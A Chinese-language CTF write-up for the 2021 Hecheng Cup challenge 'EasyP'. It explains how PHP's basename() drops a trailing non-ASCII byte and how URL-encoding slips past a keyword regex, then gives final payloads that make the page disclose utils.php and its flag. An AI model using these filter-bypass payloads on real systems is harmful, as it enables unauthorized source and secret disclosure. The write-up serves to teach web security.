[鹤城杯 2021]EasyP
考察PHP
题目源码
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
关键代码
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
先介绍三个函数
$_SERVER['PHP_SELF']获取当前页面的目录地址和脚本文件名
$_SERVER["REQUEST_URI"]函数获取当前页面的目录地址和脚本文件名,包括参数
basename函数用于从文件路径中提取文件名部分
示例
网址:http://yeran:6789/webphprce/test.php?a=1
$_SERVER['PHP_SELF'] 得到:/webphprce/test.php
$_SERVER['REQUEST_URI'] 得到:/webphprce/test.php?a=1
basename($_SERVER['PHP_SELF']) 得到 test.php
观察第一个if的正则匹配
检测 字符串结尾 ($) 是否是:
utils.php utils.php/ utils.php//...
严格匹配末尾
而basename函数截取文件名
在使用默认语言环境设置时,会删除文件名开头的非 ASCII 字符和中文
所以在只要在utils.php后面加个非ASCII码的东西(实现utils.php加一个乱码)就可以绕过第一个if
所以利用basename函数可以恢复原来访问的utils.php
第二个if正则匹配:
出现show_source输出hacker
利用url编码绕过(还可以利用show[source或者show.source绕过)
最终payload
/index.php/utils.php/%ff?%73how_source=1
或者
/index.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65=1
payload前面需要加一个index.php
因为当传入/index.php/utils.php时请求的仍是index.php(在index.php页面触发漏洞)
而当basename()处理后,highlight_file()得到的参数为了utils.php,从实现任意文件包含

浙公网安备 33010602011771号